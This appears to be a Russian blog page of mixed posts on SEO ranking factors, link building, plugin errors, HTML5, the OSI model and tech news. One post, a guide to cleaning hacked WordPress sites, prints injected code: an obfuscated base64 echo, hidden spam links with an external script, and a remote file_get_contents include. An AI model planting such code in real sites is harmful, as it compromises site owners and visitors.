• Home
  • Интересно
Что значит файл слишком велик для конечной файловой системы?

Файл слишком велик для конечной файловой системы. — решение.

Если при скачке на флешку или другой носитель получаете сообщение:  «Файл слишком велик для конечной файловой системы» — не паникуйте =) , у вас носитель отформатирован в устаревшую файловую систему FAT32, переформатируйте в NTFS и всё будет ок =)

 

Что значит файл слишком велик для конечной файловой системы?

Внимание! — все файлы удаляться!

Факторы, влияющие на рейтинг сайта

Эта статья посвящена факторам, которые влияют на рейтинг сайта в поисковых системах. Таких как Yahoo!, MSN, Google и AskJeeves. Ни кому не известны досконально эти факторы, тем более степень влияния каждого из них. Несмотря на это автор статьи решился выставить оценки (степень важности) каждому фактору.
— исключительная важность (5 баллов)
Эти факторы имеют первичное влияние на занимаемые сайтами позиции в результатах поиска.
— высокая важность (4 балла)
Эти факторы оказывают серьезное значение на результаты поиска и выдачу в серпе.
— умеренная важность (3 балла)
Эти факторы влияют не столь значительно, как первые два, но забывать про них не стоит.
— небольшая важность (2 балла)
Эти факторы стоит учитывать в узкоконкурентной области.
— несущественная важность (1 балл)
Эти факторы минимально влияют на результаты поиска.
10 самых важных факторов.
1. Title – 4.57
2. Текст ссылок – 4.46
3. Использование ключевого слова в тексте документа – 4.38
4. Работоспособность документа – 4.3
5. Внутренние ссылки – 4.15
6. Соответствие тематике всего сайта – 4.00
7. Внешние ссылки – 3.92
8. Ссылочная популярность в тематическом кругу – 3.77
9. Мировая ссылочная популярность – 3.69
10. Спам ключевых слов -3.69

Внутренние факторы документа

1. Title (4.57) – этот тег отображается вверху браузера и имеет самое большое влияние на ранжирование сайтов.
2. Использование ключевых слов (4.3 – безусловно, в тексте документа должны определенным образом использоваться ключевые слова.
3. Внутренние ссылки сайта (4.15) – важной особенностью является внутренние ссылки сайта. Связность документа и количество ссылающихся внутренних страниц говорит о важности документа.
4. Уникальность контента (3.3 – на каждой странице контент должен быть уникальным. Если поисковая система найдет страницу с таким же контентом, но более ранним выпуском, то рейтинг вашей страницы может быть значительно понижен.
5. Связанные термины (3.31) – поисковые машины внимательно отслеживают тематику сайта. Т.е. тексты сайта должны быть связаны между собой (быть одной тематики), а термины тесно переплитаться.
6. Внешние ссылки (3.0 – ссылки с других сайтов и страниц оказывают значительное влияние на рейтинг в поисковых системах. Но они могут оказать как положительное влияние, так и отрицательно. Очень важно, чтобы ссылки были с тематических сайтов.
7. Возраст документа (2.77) – “старые” документы являются, соответственно более авторитетными. Поисковые системы предпочитают сайты, давно зарекомендовавшие себя. Поэтому, новым сайтам трудно конкурировать с ними в первое время своего существования.
8. Цитирование источников (2.77) — цитирование, в смысле сносок и ссылок в книгах и журналах на источники информации (цитат), может положительно сказываться при поиске научной или учебной информации.
9. Морфология документа (2.39) – некоторые поисковые системы учитывают морфологию слов. Т.е. если слово используется в разных морфологических формах, то это может повысить релевантность документа. Хотя, стоит заметить, что все-таки нет много поисковиков учитывающих морфологию.
10. Мета тег описания (description) (2.39) – тег описания все больше теряет свою значимость. Однако это не значит, что про него пора забыть. Многие поисковые системы по-прежнему уделяют ему много внимания. Да в некоторых поисковиков этот мета тег выводится в результатах поиска. Так что уделяйте этому тегу должное внимание, и обязательно используйте в нем ключевые слова.
11. Авторские пометки (2.3 – важность страницы могут повысить авторские пометки. В случае их присутствия поисковик понимает это как авторский документ, значение которого может быть очень важно.
12. Структура документа (2.31) – для поисковиков имеет значение организация структуры документа, порядок следования фраз. Особенно это важно для страниц с большим контентом.
13. Время ссылок (2.31) – если одна и та же ссылка стоит долгое время, то это повышает важность страницы, на которую она ссылается. В то же время постоянное удаление новых ссылок может понизить рейтинг страницы.
14. Доменная зона (2.31) – доменные зоны .com, .biz, .net, и другие доступны любому. А зоны .gov, .mil или .edu получить не так просто. Поэтому они пользуются приоритетом, так сказать заслуживают большего внимания.
15. Текст в alt и img title (2.23). Эти показатели по-прежнему оказывают влияние на релевантность страницы. Хотя стоит заметить, что правильное их написание важно, прежде всего для поиска картинок.
16. Заголовки (2.23) — важно использование тегов H1-H6. Манипулирование этими тегами может повысить релевантность отдельных слов на странице. Эти теги позволяют выделить самые важные (ключевые) слова и фразы.
17. Обновление контента (2.23) – поисковые системы следят за изменение и обновлением контената. Если страницы была однажды создана и с тех пор не меняется (не текст, ни картинки, не шрифты), то значимость ее постепенно падает.
18. Язык документа (2.15) – естественно для китайского поисковика важно, чтобы страница было на китайском языке. Поэтому желательно, однозначно определяйте язык документа.
19. Ключевые слова в url документа (2.15) – использование ключевых слов в url документа может значительно повысить релевантность сайта.
20. Мета тег keywords (2.0 – использование ключевых слов в мета теге keywords по-прежнему имеет значение. Хотя значимость этого тега непреклонно падает и многие поисковики практически не используют его.
21. Глубина документа (1.92) – количество кликов, за которые можно добраться до любой страницы сайта важно для поисковиков. Чем их меньше тем лучше. Обычно рекомендуется не более 3-4 кликов.
22. Теги H1, bold и другие (1.91) – использование тегов заголовка, жирного шрифта, курсива и других при форматировании текста оказывают некоторое влияние на ранжирование страницы. Выделение различными тегами форматирования ключевых слов может повысить их релевантность.
23. Присутствие сайта в серпе (1.92) – если страница сайта когда-то находилась на первой странице в результатах поиска, то это увеличит ее релевантность в дальнейшем.
24. Дефисы в доменном имени (1.92) – 2 и более дефиса в доменном имени ухудшает позиции сайта.
25. Карта сайта (1.92) – наличие карты сайта улучшает индексацию сайта и ранжирование страниц.
26. Google Sitemaps или Yahoo! Paid (1.77) – присутствие в подобных программах, может повлиять на индексацию сайта.
27. Тескты ссылок (1.85) – использование ключевых слов в текстах ссылок оказывает влияние на релевантность этих слов.
28. Соответствие стандартам W3C (1.67) — учёт поисковыми системами этого фактора под вопросом, но забывать о нём не стоит.
29. Редирект (1.66) – использование редиректа может отрицательно повлиять на позицию сайта в поисковых системах.
30. Длина документа (1.55) – вес страница может сказываться как положительно так отрицательно. Вообще, как правило, поисковые системы любят страницы в пределах 100-200Кб.
31. Правописание (1.34) — правописание всех слов документа может служить мерой качества этого документа для поисковых систем.
32. Читабельность текста (1.25) — читабельность текста — это мера основанная, на частоте использования общеупотребительных, слов из словарного запаса школьников того или иного года обучения, а также редких, специализированных слов в тексте документа. Эта мера может учитываться исходя из запроса, а также если есть информации о том, кто ищет, — если ищет школьник, то ему не осилить статьи из академических журналов.
33. Тип документа (1.22) — тип документа, например .pdf, .doc, .txt т.п. может учитываться при ранжировании, по-разному в зависимости от того или иного запроса.

Технические факторы
1. Доступность документа (4.31) — недоступность документа может быть вызвана ошибкой 404, ошибками в работе сервера, необходимостью установки плагина для просмотра и прочими техническими вопросами. Подобные проблемы не принесут вам дивидендов.
2. Идентификаторы сессий (3.62) — идентификаторы сессий в URL могут непредсказуемо повлиять на рейтинг, т.к. дубликаты одного и того же документа могут индексироваться десятки и сотни раз под различными URL.
3. Использование NOARCHIVE/NOINDEX (3.31) — директивы noindex и noarchive в META ROBOTS указывают поисковому роботу, чтобы эта страница не индексировалась и не сохранялась копия. Соответственно контент этих страниц не может повлиять на рейтинг в поисковых машинах.
4. Динамические URL (3.23) — большое число динамических параметров в URL зачастует гарантирует, что этот URL будет пропущен роботом поисковика. Представители различных поисковиков давно советуют ограничиться двумя, а лучше одним динамическим параметром в URL.
5. Использование фреймов (3.15) – использование фреймов не повысит рейтинг сайта. Фреймы считаются умирающей технологией, и сайты построенные на фреймах считаются устаревшими.
6. Хостер (3.00) — ненадёжный хостинг может повлечь некоторые проблемы. Часто неработающий сайт может привести к понижению сайта в рейтинге, а также к тому, что отдельные страницы не будут проиндексированы.
7. Клоакинг по IP (2.0. Хотя такой клоакинг сложно определить, поисковые машины изыскивают способы его определения, и тут же штрафуют сайт.
8. Информация о регистрации домена (1.69) — информация о регистрации домена может быть использована поисковыми системами как источник информации о владельце ресурса, тем самым отбирая спамеров из общей массы.
9. Время регистрации домена (1.62) — время, на которое был зарегистрирован домен, может говорить о серьёзности намерений. Если домен зарегистрирован на длительное время, то отношение к сайту у поисковых систем более предпочтительное.
10. Длина URL (1.46) — длина URL имеет значение. Не рекомендуются длинные URL.
11. Robot.txt (1.31) – наличие файла robot.txt говорит о том, что страница не будет индексироваться поисковой системой.

Факторы ценность ссылок
1. Текст ссылок (4.46) – использование ключевых фраз, слов, терминов в тексте ссылок значительно увеличивает релевантность страницы.
2. Внешние ссылки (3.92) – ссылки с популярных и тематических ресурсов могут серьезно повлиять на рейтинг вашего сайта.
3. Общая популярность сайта (3.85) – популярность отдельных страниц, сервисов, документов сказывается на общей популярности ресурса в поисковых страницах. И наоборот, непривлекательные элементы сайта могут снизить популярность ресурса.
4. Тематическое сообщество (3.77) – присутствие сайта в тематическом сообществе может положительно повлиять на рейтинг сайта.
5. text derictly
6. Тексты ссылок сайта (3.46) – тексты ссылок, указывающих на документы могут повышать релевантность этих самых документов.
7. Ссылочная структура (3.31) – глубина сайта важна для оценки релевантности страницы. Страница до которой можно добраться за 4-5 кликов менее релевантна, чем страница, достижимая за 2 клика.
8. Признак Rel=Nofollow (3.00) – этот тег указывает, что ссылка была создана не администрацией сайта, и они за нее ответственности не несут.
9. Семантика ссылок
10. Форматирование ссылок (1.69) – использование тегов заголовка, жирного шрифта и др. в тексте ссылок могут положительным образом повлиять на релевантность страницы.
11. Title ссылок (1.54) – значение имеет суть текста ссылки. Ссылка “жмите здесь” не способствует повышению релевантности страницы.

Отрицательные факторы
1. Спам ключевых слов (3.69) – чрезмерное увлечение ключевыми словами может отрицательно повлиять на рейтинг сайта в поисковых системах.
2. Клоакинг (3.54) – одна из самых сторогонаказуемых технологий. Если ваш сайт будет замечен в использовании клоакинга, то наверняка, сразу же будет забанен (удален из списка индексации поисковой машины).
3. Дублирование контента (3.3 – дублирование контента (воровство) жестко наказывается поисковыми машинами.
4. Кононические проблемы (3.31) — широко распространённая проблема, в особенности для крупных сайтов. Этот фактор вытекает из фактора дублируемого контента, когда, например, для адресов url.com, www.url.com и www.url.com/index.html выдаётся один и тот же контент и на каждый их этих адресов приходит множество ссылок с других сайтов и все эти адреса использовались при регистрации в различных каталогах и других списках ресурсов Сети, может негативно сказаться на рейтинге, независимо от того, что фактически это одна и та же страница.
5. Ссылочный спам (3.23) – все ссылки созданные не ручным способом, использование различных способов для искусственного увеличения индекса цитирования может серьезно повлиять на позиции сайта в поисковике.
6. Ссылки с “плохих” сайтов (3.0 – ссылки с сайтов с плохим контеном или участие в ссылочнообменных схемах может привести к удалению сайта из индекса.
7. Незаконный контент (3.00) – контент нарушающий местные, региональные законы и морально-этические принципы. Это использование порнографии, материалов террористического характера и т.д. Подобные сайты будут исключаться поисковыми системами из индекса.
8. Битый код (2.85) – неправильный замусоренный код, создающий сложности на пути поискового бота не позволит странице оказаться наверху в результатах выдачи.
9. Угон URL (2.69) — использование кода ответа 302 для присваивания позиций выдачи страниц с высоким рейтингом. Негативно сказывается на рейтинге как “угоняемого” сайта, так и “угоняющего”.
10. Неэтичные методы (2.62) – довольно размытое понятие. Включает в себя способы завлечения пользователей в незаконные сделки, обман и другие способы незаконного отъема денег у посетителей.
11. “Мертвые” ссылки (1.2 – наличие ссылок ведущих на несуществующие страницы (ошибка 404) негативно сказывается на позициях сайта в поисковых системах.
12. Небезопасный контент (1.15) — контент, сочтённый небезопасным для детской и подростковой аудитории может отрицательно повлиять на рейтинг сайта в поисковых машинах.

Приобретение ссылок и их влияние на рейтинг сайта

Приобретение ссылок и их влияние на рейтинг сайта

Одним из самых недооцененных и непонятных аспектов при разработке и раскрутке сайта – это приобретение ссылок, или как принято говорить в SEO кругах нарасчивание ссылочной массы. Большое количество приходящих ссылок из других сайтов говорит о популярности и высоком рейтинге сайта среди других тематических ресурсов. Такие ссылки имеют большое значение в алгоритмах ранжирования сайтов в Поисковых системах. Но при этом учитывается и качество таких ссылок, особенно в последнее время, когда объемы трафика спама увеличились.

Первый вопрос у  SEO специалистов – Как получиь ссылки на свой сайт? Ответов много, и они очень разные.

Заработаные ссылки (незапрашиваемые ссылки).

Заработаные ссылки получаются случайно и не запрашиваются владельцем сайта. Такая ссылка размещается на чужем ресурсе потому, что на Вашем сайте находится что-то полезное и ценное с точки зрения администратора сайта. Рассмотрим, как можно получить такие ссылки.

— Ваш сайт содержит некоторую информацию или ресурс, который имеет ценность (важность) среди подобных ресурсов. Например, каталог ресурсов (сайтов), полезные советы в какой-то области и другое.

— создание специалного инструмента, какого-то калькулятора или электронной книги, которая будет свободно распостраняться (тоесть безплатно). С некоторым временем другие сайты будут узнавать цэнность Вашей работы, и будут советовать (размещать ссылки) своим посетителям Ваш ресурс.

— создание ТОП-10 или ТОП-100 советов в той области, в которой Вы мастер (кулинарные советы, програмирование, веб дизайн, зароботок в Интернете и др.).

— создание популярного блога или форума и постояное его информационное пополнение.

Требуемые ссылки (запрашиваемые ссылки).

Суть таких ссылок лежит в том, что Вы как владелец сайта просите администратора (или владельца) другого сайта (ресурса), чтоб он разместил у себя  ссылку на Ваш  сайт. Давайте расмотрим несколько способов получения таких ссылок.

— обмен ссылками с сайтами похожей тематики.

— написание статьи и размещение ее на популярном ресурсе или блоге (EzineArticles, GoArticles, iSnare).

— написание эксклюзивных статей для специфического сайта. Такие статьи называю «маркетинговые статьи».

— обратиться к партнерам по бизнесу, друзьям, колегам, что б они разместили ссылку на Ваш сайт.

— регистрация на форумах по таким же тематикам, и постоянное размещение статей и оставление коментариев с указанием ссылки на Ваш сайт.

— регистрация в социальных сетях, размещение и распостранение ссылок между учасниками.

Другие типы платных и безплатных ссылок.

— регистрация сайта в каталогах и участие в рейтингах.

— покупка ссылок на биржах или напрямую у владельцев сайта.

— покупка статей.

— распостранение информации о своем сайте вместе со ссылкой на него через доски объявлений.

 

 

Какие типы ссылок самые лучшие?

Существует несколько правил, которые следует постоянно держать в уме при построении ссылочной массы свего сайта. Лучшие ссылки:

— лучшие ссылки – это однонаправленные (без обратной) ссылки;

— ссылки с доменов схожих по тематике (релевантные ссылки);

— ссылки должны находиться на страницах, проиндексированых поисковыми роботами, иначе она теряет свою ценность. (Этот факт очень важен при покупке ссылок, будьте внимательны, страница, на которой вы покупаете ссылку должна быть проиндексирована поисковиком);

— ссылки со старых доменов (или страниц) имеют больше авторитер у поисковиков;

— ссылки должны быть с сайтов с разными IP-адресами и разных  сетей C класса, например, сылки с сайтов с IP 156.186.45.37  и 156.186.45.54 будут иметь меньше рейтинг у поисковиков, чем с сайтов с IP 94.65.33.34  и 156.186.45.55. Разные IP (с маской 255.255.0.0) воспринимаются поисковиками как сайты разных владельцев и компаний с разных подсетей;

— ссылки должны быть статическими, тоесть постоянными (покупные ссылки не являются статическими, их еще называют «мигающими ссылками»);

— ссылки должны быть окружены текстом со схожей тематикой, как у сайта, на которую она ссылается, например, внутри статьи;

— ссылки с доменов .edu и .gov имеют бульше доверия у роботов, чем с .com и .net или других доменов верхнего уровня;

— болшой рейтинг имеют ссылки с популярных каталогов и ресурсов, таких как, например, dmoz.org, dir.yahoo.com и c каталогов Яндекса и Google;

— количество ссылок на странице должно быть меньше 50 (Внимание! Не покупайте ссылки на страницах, которые имеют более 50 внешних ссылок, эффект будет почти нулевым);

— текст гиперссылки должен содержать ключевые слова сайта, на который она ссылается;

— при массовом размещении (покупки) ссылок старайтесь исползовать разные варианты текста (анкора) сслыки, это выглядит для поисковых машин более натуральным, чем, например, 100 одинаковых ссылок на Ваш сайт с одинаковым анкором (текстом);

— старайтесь размещать ссылки на сайтах, которые имею похожие географические (региональные) данные. Это увеличит позиции сайта в поисковиках по региональным запросам. Особенно это важно, если маштабы Вашего бизнеса и сайта имеют четко выраженый региональный характер;

— при создании ссылки исползуйте один вариант адреса сайта, или с www или без www. Некоторые поисковики воспринимат их как два разных сайта, и при этом рейтинг будет делиться между ними.

Error initializing sessions directory Firestats

Привет, проблемы с плагином? ух, бывает. Оказывается всё дело не в недонаписании мануала к плагину, а чисто техническая. В общем когда ошибка:

Error initializing sessions directory

то дело может быть в нескольких причинах:
1.Не установлены права на /firestats/fs_sessions на полный доступ.
2. ! Внимание. Нехватка места на диске провайдера для вашего сайта ) . (К примеру плагин кеширования забил кешом папку)

Это всё относится и к  ошибке PCLZIP_ERR_BAD_FORMAT (-10) : Unable to find End of Central Dir Record signature. При Установке или обновлении какого-нибудь другого плагина.

Удалите часть не нужных плагинов или файлов.



Выдержка из мануала FireStats:

Configuration file is not writable

During the initial setup of the installer, The installer tries to change the file installer-config.php, for this to work — the file need to be writable by the web server.
use your ftp client or shell account to change the permissions of this file and try again.
Another alternative is to enter the password regardless of the warning, you will receive an error message with a link to download the configuration file. download it and then use your ftp client to upload it into the installer root directory, and then refresh the page to login.

Temp directory must be writable

The temp directory under the installer root directory must be writable, fix it using your ftp client or shell account and try again.

PHP Safe mode is active

Так что чаще всего проблемы  очень естественные. Удачи.

чужие «левые» ссылки на сайте — убираем

Ищем код в файлах на сервере содержащий:

<? echo(base64_decode и «));?>

Примерный вид кода вот такой:

<? echo(base64_decode(«PGEgaHJlZ…длинный код блаблаблаPGEgaHJlZ«));?>

Бывает множество вариантов, но чаще всего бывают заражены следующие файлы:

index.php
single.php
sidebar_right.php

class-simplepie.php

и шаблоны

wp-contentthemesназвание шаблонаtemplate.php

1. Скачиваем файлы сайта на компьютер

2. Ищем все файлы содержащие base64_decode

3. Удаляем в вышеперечисленных файлах

4. Закачиваем обратно

!!! Не забывайте делать копию резервную, а то вдруг удалите лишнего

Одни из самых распространенных ссылок вот такие:

<style type=»text/css»>#wp3c {position: fixed;top: 0px;margin-left: -10000px;}</style>
<p id=»wp3c»><a href=»http://mp3salem.com/Artist/24/Kitaro/download-mp3/»>kitaro mp3</a>
<a href=»http://bagthemes.com/»>Wordpress шаблоны</a>
<a href=»http://qtemplate.ru/category/templates/tourism/»>Туризм Путешествия Отдых шаблон WordPress</a>
</p><script type=»text/javascript» src=»http://wp3c.org/xhtml.php»></script>

Будте внимательны к тому, что устанавливаете себе на сайт и не будет таких неожиданностей.

Есть еще один способ размещения чужих ссылок через инклуд.

Открываете файл /wp-content/themes/шаблон/sidebar.php

Ищите и удаляете:

<?php error_reporting(0); echo file_get_contents(‘http://qmpq.org/xfn/11’); ?>

PS спасибо саппорту трухоста 😉

HTML5CSS3

HTML 5

HTML 5 (англ. HyperText Markup Language 5) — пятая версия одного из главных языков разметки Интернета, HTML. Версия языка, полностью соответствующая стандарту XML называется XHTML 5.

Многие идеи HTML 5 были изначально предложены WHATWG в стандарте Web Applications 1.0. HTML 5 включает другой стандарт WHATWG, Web Forms 2.0. Разработка HTML 5 началась в новой рабочей группе W3C в 2007 году.

Первый черновик спецификации стал доступен широкой общественности 22 января 2008. Спецификация сейчас находится в разработке и может находиться в этой стадии ещё несколько лет, хотя предполагается, что отдельные части HTML 5 будут закончены и реализованы в браузерах до того, как спецификация официально получит статус рекомендации.

 

Новая разметка

HTML 5 вводит несколько новых элементов и атрибутов. Некоторые из них технически являются эквивалентами <div> и <span>, но имеют своё семантическое значение, например <nav> (навигационная панель) и <footer>. Эти теги будут облегчать работу поисковикам, а также обработку сайта с КПК или читающих программ. Другие элементы предоставляют новую функциональность, такие как <audio> и <video>.

Некоторые устаревшие элементы HTML 4, такие как <font> и <center>, были удалены из HTML 5.
Пример веб-страницы HTML 5

 <!DOCTYPE html>
  <html>
   <head>
    <title>Example HTML5 document</title>
   </head>
   <body>
    <header>...</header>
    <nav>...</nav>
    <section>
       <article>
          ...
       </article>
    </section>
    <aside>...</aside>
    <footer>...</footer>
  </body>
  </html>

Новые API

Помимо определения разметки, в HTML 5 определены API. Существующие интерфейсы DOM расширены, также были добавлены новые API:

* Рисование 2D-картинок в реальном времени;
* Контроль над проигрыванием медиафайлов, который может использоваться, например, для синхронизации субтитров с видео;
* Хранение данных в браузере;
* Редактирование;
* Drag-and-drop;
* Работа с сетью;
* MIME.

Некоторые новые возможности HTML 5 включены в стандарт языка только из-за отсутствия желающих разделить стандарт HTML 5 и поддерживать отдельные спецификации.[6]
Отличия от HTML 4

Основные отличия HTML 5 от HTML 4 составляют:

* Новые правила лексического разбора;
* Новые элементы — footer, section, video, audio, progress, nav, meter, time, aside, canvas;
* Новые типы input-элементов;
* Новые атрибуты;
* Глобальные атрибуты — id, tabindex, repeat;
* Устаревшие элементы убраны — center, font, strike.

Обработка ошибок

HTML5-совместимые браузеры очень гибки при обработке ошибок, в отличие от XHTML. HTML 5 разработан так, что не поддерживающие его браузеры могут спокойно игнорировать элементы HTML 5. В отличие от четвёртой, пятая версия чётко прописывает правила лексического разбора, чтобы различные браузеры отображали один и тот же результат в случае некорректного синтаксиса.

Предполагается, что спецификации достигнут статуса W3C Candidate Recommendation в 2012 году, но это не означает, что вы должны будете ждать так долго, для того, чтобы начать использовать какие-то новые вещи HTML 5. Большинство современных браузеров, к примеру, уже имеют реализацию элемента <canvas> (влкючая Mozilla Firefox, в которой он частично реализован с версии 1.5).

HTML 5 переопределит то, как web-разработчики создают разметку содержимого. Эта версия предложит лучший способ описания отображаемого на web-странице контента, позволит использовать более комплексные типы содержимого, улучшит поддержку медиа и web-приложений и увеличит функциональную совместимость HTML-документов.

Имейте в виду, что эти вещи все еще находятся в стадии разработки и могут быть изменены, многие из указанных улучшений могут быть пересмотрены в течении нескольких лет или не быть реализованы вовсе.

ifolder.ru закрыли

С сайта ifolder.ru

 

Сервис iFolder приостановлен следователями 3-й СЧ ГСУ при ГУВД Москвы.

Сегодня, 17.03.2010 в помещении дата-центра, находящегося по адресу 2-ая ул. Энтузиастов д. 5, появились следователи из 3-й СЧ ГСУ при ГУВД Москвы. Они предъявили протокол о необходимости проведения оперативно-розыскных мероприятий с целью поиска улик, размещенных на сайте iFolder.ru

Администрация сервиса предложила сотрудникам оказать максимальное содействие в поиске и получении нужной информации, а также в установлении личности пользователя, который ее разместил. Однако сотрудники милиции отказались от любой помощи и попытались вывезти ВСЕ оборудование Агавы, размещенное в этом дата-центре, для проведения собственной экспертизы. В результате переговоров вывоз оборудования удалось предотвратить, но, к сожалению, в качестве «альтернативы» сотрудники МВД выключили и опечатали все сервера проекта iFolder, а также и другие сервера компании, не имеющие никакого отношения к проекту.

Компания Агава считает произошедшее беспрецедентным событием, которое ставит под угрозу и сомнение факт существования и развития любого бизнеса в Рунете. Мы намерены бороться и отстаивать интересы сервиса и его клиентов, а также заранее благодарим клиентов за информационную или любую другую помощь в этом деле.

Symbian^3

 

Неужели свершилось чудо…   Npkia в корне меняет отношение к пользователям своим…  Хотя…  Это им нужно как воздух, так как "другие" ЭТИМ давно занялись…

Новый дизайн юзер интерфейса, новые приложения , хотя и кислые ещё "пока" , но как "обещают" всё идёт как нужно, смотрите фундейшн…

Symbian Foundation

Symbian Foundation открывает исходный код мобильной операционной системы Symbian'3. Работа над проектом длилась с 2008 г. после приобретения компанией Nokia оставшейся доли компании Symbian. Выход первых устройств на базе Symbian'3 ожидается не раньше конца 2010 г.
Консорциум Symbian Foundation объявил о намерении сегодня, 4 февраля, опубликовать исходный код Symbian^3, включая приложения, связующее ПО и ядро операционной системы

. В общей сложности в разряд программного обеспечения с открытым кодом будет переведено 108 пакетов и 40 млн строк кода. Воспользоваться кодом платформы, который будет опубликован на официальном сайте, сможет любой производитель смартфонов и любая другая компания. Код будет доступен бесплатно в рамках открытых лицензий, и его можно будет модифицировать.

Разработка Symbian^3 велась с 2008 г. после того, как Nokia за €264 млн приобрела недостающую долю компании Symbian, выпускающей одноименную операционную систему для мобильных телефонов, у Panasonic, Siemens, Ericsson, Sony Ericsson и Samsung. Позже в этом же году Nokia объявила о намерении сделать операционную систему открытой. Это, по словам представителей компании, позволило бы привлечь к платформе большее число разработчиков и повысить ее конкурентоспособность. Открыть платформу первоначально планировалось к июню 2010 г.

По мнению зарубежных аналитиков, данный шаг приведет к укреплению рыночного положения как Symbian, так и Nokia, смартфоны которой базируются на этой системе. Однако для того чтобы выдержать конкуренцию с Android, которая также является открытой, Symbian Foundation необходимо предложить что-то абсолютно новое и чрезвычайно удобное по сравнению с текущей версией платформы, Symbian^1. В самой организации считают, что у них есть преимущество над Android. Оно заключается в том, что в разработке платформы все члены организации принимают равное участие без какого-либо перевеса.

Ожидается, что первые устройства на базе Symbian^3 появятся в продаже в начале 2011 г., то есть примерно 2,5 года спустя выхода первого устройства на базе открытой операционной системы Android. Некоторые источники утверждают, что дебют первых моделей на базе Symbian^3 может состояться в конце текущего года. В настоящее время выпуском смартфонов на базе Symbian занимаются пять компаний: Nokia, Samsung, Sony Ericsson, Fujitsu и Sharp.

По оценке Symbian Foundation, в настоящее время в мире в использовании находится около 330 млн смартфонов на базе Symbian. Согласно прогнозу Gartner, к 2012 г. доля операционной системы Symbian на рынке смартфонов упадет до 39% против приблизительно 45-50% сейчас. Второе место по величине доли займет Android (14,5%), третье, четвертое и пятое места займут iPhone OS, Windows Mobile и BlackBerry OS с долей 13,7%, 12,8% и 12,5% соответственно.

Эксперты считают, что открытие кода Symbian произошло поздно. «Разного рода детские болезни сопровождали эту систему всю ее историю и во многом именно потому, что ее развитием занимался очень ограниченный круг участников, — считает аналитик группы Smartmarketing Светлана Завьялова. – Если бы исходные тексты были открыты 5 лет назад, всего этого можно было бы избежать. Сегодня мы бы не знали ни Android, ни iPhone OS, ни Palm webOS, а может быть и Windows Mobile уже стала бы музейным экспонатом».

По мнению коммерческого директора российской компании «Вобис Компьютер» Михаила Чернышова, открытие кода Symbian, как и выпуск бесплатного приложения для мобильной навигации ранее, является попыткой Nokia отыграть уходящий от нее рынок. «Открытие кода, на мой взгляд, – поиск пути по привлечению программистов и поднятию количественного и качественного уровня приложений для платформы, под которую всегда было сложно программировать»
 

модель OSI

Сетевая модель OSI (базовая эталонная модель взаимодействия открытых систем, англ. Open Systems Interconnection Basic Reference Model) — абстрактная сетевая модель для коммуникаций и разработки сетевых протоколов. Представляет уровневый подход к сети. Каждый уровень обслуживает свою часть процесса взаимодействия. Благодаря такой структуре совместная работа сетевого оборудования и программного обеспечения становится гораздо проще и прозрачнее.

В настоящее время основным используемым семейством протоколов является TCP/IP, разработка которого не была связана с моделью OSI.

Уровни модели OSI

Модель состоит из 7-ми уровней, расположенных друг над другом. Уровни взаимодействуют друг с другом (по «вертикали») посредством интерфейсов, и могут взаимодействовать с параллельным уровнем другой системы (по «горизонтали») с помощью протоколов. Каждый уровень может взаимодействовать только со своими соседями и выполнять отведённые только ему функции. Подробнее можно посмотреть на рисунке.

Модель OSI
Тип данныхУровеньФункции
Данные7. Прикладной уровеньДоступ к сетевым службам
6. Уровень представленияПредставление и кодирование данных
5. Сеансовый уровеньУправление сеансом связи
Сегменты4. ТранспортныйПрямая связь между конечными пунктами и надежность
Пакеты3. СетевойОпределение маршрута и логическая адресация
Кадры2. КанальныйФизическая адресация
Биты1. Физический уровеньРабота со средой передачи, сигналами и двоичными данными

Прикладной (Приложений) уровень (англ. Application layer)

Основная статья: Прикладной уровень

Верхний уровень модели, обеспечивает взаимодействие пользовательских приложений с сетью. Этот уровень позволяет приложениям использовать сетевые службы, такие как удалённый доступ к файлам и базам данных, пересылка электронной почты. Также отвечает за передачу служебной информации, предоставляет приложениям информацию об ошибках и формирует запросы к уровню представления. Пример: HTTP, POP3, SMTP, FTP, XMPP, OSCAR, BitTorrent, MODBUS, SIP

Представительский (Уровень представления) (англ. Presentation layer)

Этот уровень отвечает за преобразование протоколов и кодирование/декодирование данных. Запросы приложений, полученные с прикладного уровня, он преобразует в формат для передачи по сети, а полученные из сети данные преобразует в формат, понятный приложениям. На этом уровне может осуществляться сжатие/распаковка или кодирование/декодирование данных, а также перенаправление запросов другому сетевому ресурсу, если они не могут быть обработаны локально.

Уровень 6 (представлений) эталонной модели OSI обычно представляет собой промежуточный протокол для преобразования информации из соседних уровней. Это позволяет осуществлять обмен между приложениями на разнородных компьютерных системах прозрачным для приложений образом. Уровень представлений обеспечивает форматирование и преобразование кода. Форматирование кода используется для того, чтобы гарантировать приложению поступление информации для обработки, которая имела бы для него смысл. При необходимости этот уровень может выполнять перевод из одного формата данных в другой. Уровень представлений имеет дело не только с форматами и представлением данных, он также занимается структурами данных, которые используются программами. Таким образом, уровень 6 обеспечивает организацию данных при их пересылке.

Чтобы понять, как это работает, представим, что имеются две системы. Одна использует для представления данных расширенный двоичный код обмена информацией EBCDIC, например, это может быть мэйнфрейм компании IBM, а другая — американский стандартный код обмена информацией ASCII (его используют большинство других производителей компьютеров). Если этим двум системам необходимо обменяться информацией, то нужен уровень представлений, который выполнит преобразование и осуществит перевод между двумя различными форматами.

Другой функцией, выполняемой на уровне представлений, является шифрование данных, которое применяется в тех случаях, когда необходимо защитить передаваемую информацию от приема несанкционированными получателями. Чтобы решить эту задачу, процессы и коды, находящиеся на уровне представлений, должны выполнить преобразование данных. На этом уровне существуют и другие подпрограммы, которые сжимают тексты и преобразовывают графические изображения в битовые потоки, так что они могут передаваться по сети.

Стандарты уровня представлений также определяют способы представления графических изображений. Для этих целей может использоваться формат PICT — формат изображений, применяемый для передачи графики QuickDraw между программами для компьютеров Macintosh и PowerPC. Другим форматом представлений является тэгированный формат файлов изображений TIFF, который обычно используется для растровых изображений с высоким разрешением. Следующим стандартом уровня представлений, который может использоваться для графических изображений, является стандарт, разработанный Объединенной экспертной группой по фотографии (Joint Photographic Expert Group); в повседневном пользовании этот стандарт называют просто JPEG.

Существует другая группа стандартов уровня представлений, которая определяет представление звука и кинофрагментов. Сюда входят интерфейс электронных музыкальных инструментов MIDI (Musical Instrument Digital Interface) для цифрового представления музыки, разработанный Экспертной группой по кинематографии стандарт MPEG, используемый для сжатия и кодирования видеороликов на компакт-дисках, хранения в оцифрованном виде и передачи со скоростями до 1,5 Мбит/с, и QuickTime — стандарт, описывающий звуковые и видео элементы для программ, выполняемых на компьютерах Macintosh и PowerPC.

